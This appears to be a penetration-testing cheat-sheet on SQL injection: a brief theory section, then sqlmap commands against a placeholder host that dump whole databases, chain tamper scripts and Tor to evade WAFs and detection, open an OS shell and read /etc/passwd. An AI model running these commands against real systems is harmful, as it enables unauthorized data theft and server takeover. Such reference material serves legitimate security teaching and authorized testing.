SQL Injection

Theory

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack.

Practice

Tools

SQLMap

SQLMap is an automatic SQL injection and database takeover tool.

# SQLMap from request file
sqlmap -r login.req --level=5 --risk=3 --batch

# Dump everything
sqlmap -u "http://example.com/?id=1" --level=5 --risk=3 --batch --all

# SQLMap WAF Bypass - Tamper Script
sqlmap -u "http://example.com/?id=1" --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes --no-cast --no-escape --dbs --random-agent

# Tor WAF bypass
sqlmap -u "http://example.com/?id=1" --time-sec=10 --tor --tor-type=SOCKS5 --check-tor --dbs --random-agent --tamper=space2comment

# Get a shell
sqlmap -u "http://example.com/?id=1" --os-shell

# Read a file
sqlmap -u "http://example.com/?id=1" --file-read=/etc/passwd

Union Attacks

UNION Attacks

Blind Attacks

Boolean BasedTime BasedError Based

Resources

What is SQL Injection? Tutorial & Examples | Web Security AcademyWebSecAcademy